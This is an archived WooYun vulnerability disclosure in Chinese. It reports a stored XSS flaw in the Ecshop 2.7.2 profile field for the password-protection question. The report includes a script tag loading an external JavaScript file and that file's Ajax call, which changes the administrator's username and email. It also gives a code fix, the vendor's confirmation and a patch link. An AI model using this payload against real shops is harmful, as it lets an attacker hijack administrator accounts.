当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(2) 关注此漏洞

缺陷编号: WooYun-2010-00581

漏洞标题: Ecshop2.7.2持久型XSS(可获得管理员帐号)

相关厂商: ShopEx

漏洞作者: sfcuboy

提交时间: 2010-09-20 15:41

公开时间: 2010-10-20 18:00

漏洞类型: XSS跨站脚本攻击

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 持久型xss ecshop xss利用技巧 php源码审核 xss发生点上下文敏感

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2010-09-20: 细节已通知厂商并且等待厂商处理中
2010-09-21: 厂商已经确认,细节仅向厂商公开
2010-09-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2010-11-15: 细节向核心白帽子及相关领域专家公开
2010-11-25: 细节向普通白帽子公开
2010-12-05: 细节向实习白帽子公开
2010-10-20: 细节向公众公开

简要描述:

个人资料修改时,Javascript代码过滤不够严格,XSS代码直接进入数据库

详细说明:

密码保护问题这一项,没有使用正则过滤,其他的的都有正则过滤。我们可以在密码保护问题里输入XSS,但是后台查看会员资料是不显示密码保护问题的,所以这里必须要网站后台添加了新的 “会员注册项”时,后台查看资料就会显示了,此处填入一段引入外部js的代码:"><script src="http://www.***.com/test.js" type="text/javascript"></script>

外部test.js文件内容如下

Ajax.call('privilege.php?act=update','id=1&user_name=heihei&email=10001@**.**.**.**','',"POST","JSON");

漏洞证明:



修复方案:

程序的504行

code 区域
$temp_field_content = strlen($_POST[$extend_field_index]) > 100 ? mb_substr($_POST[$extend_field_index], 0, 99) : $_POST[$extend_field_index];



修改为

code 区域
$temp_field_content = strlen($_POST[$extend_field_index]) > 100 ? mb_substr(htmlspecialchars($_POST[$extend_field_index]), 0, 99) : htmlspecialchars($_POST[$extend_field_index]);

版权声明:转载请注明来源 sfcuboy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2010-09-21 12:05

厂商回复:

已经确认,补丁稍后放出。

最新状态:

2010-09-25:补丁下载地址 http://bbs.ecshop.com/thread-138506-1-1.html


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2012-09-21 09:49 | 一个人穷浪漫 ( 路人 | 还没有发布任何漏洞 | 供职于国内某大型IT公司,爱好Windows批处理...)
    0

    test.js里面怎么引入Ajax命名空间

登录后才能发表评论,请先 登录